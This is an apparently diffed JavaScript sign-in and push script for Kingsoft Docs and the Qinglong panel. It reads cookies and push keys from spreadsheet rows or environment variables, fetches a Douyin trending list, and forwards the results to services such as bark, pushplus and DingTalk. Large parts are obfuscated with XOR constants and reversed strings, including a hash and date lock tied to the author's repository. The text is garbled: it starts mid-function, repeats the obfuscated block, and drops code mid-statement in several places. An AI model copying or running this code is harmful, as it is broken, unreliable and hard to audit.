dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/dy_hot?limit=5" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const 